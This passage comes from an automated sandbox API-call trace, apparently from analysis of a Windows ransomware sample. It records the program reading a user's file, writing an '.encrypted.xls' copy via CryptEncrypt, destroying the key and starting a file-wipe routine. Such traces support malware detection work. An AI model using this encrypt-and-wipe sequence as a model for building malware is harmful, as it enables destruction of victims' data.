dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.173] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.173] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.174] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7")) returned 0x10 [0025.174] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\5cq0nxpqprd.encrypted.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.176] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.176] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x312f, lpOverlapped=0x0) returned 1 [0025.176] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.179] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.179] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.179] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.179] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.179] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.180] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.180] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.180] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.180] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.180] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.180] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.180] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.180] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.181] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.181] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064d20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.181] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.181] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.181] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.181] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.181] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.182] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.182] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x312f, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x3130) returned 1 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.182] CharLowerBuffW (in: lpsz="byte[12593]", cchLength=0xb | out: lpsz="byte[12593]") returned 0xb [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.182] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.182] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.182] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f60200a0*, pdwDataLen=0xe8f3dfdf68*=0x312f, dwBufLen=0x3130 | out: pbData=0xe8f60200a0*, pdwDataLen=0xe8f3dfdf68*=0x3130) returned 1 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.183] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.183] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.183] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.183] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.183] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.183] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.183] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.183] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.183] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.183] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.183] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.183] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.183] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.184] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.184] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.184] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.184] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.184] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.184] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.184] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.184] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0025.184] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.184] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.184] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.184] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.184] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.184] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.184] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.184] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.184] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.184] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.185] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.185] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.185] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.185] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.185] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.185] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.185] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.185] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.185] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.186] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.186] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.186] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.186] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.186] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.186] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.186] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.186] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.186] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.186] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0025.186] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.186] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.186] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.186] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.186] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.186] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.187] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.187] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.187] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.187] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.187] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.187] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.187] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.187] CharLowerBuffW (in: lpsz="byte[12591]", cchLength=0xb | out: lpsz="byte[12591]") returned 0xb [0025.187] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.187] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.188] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.188] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, 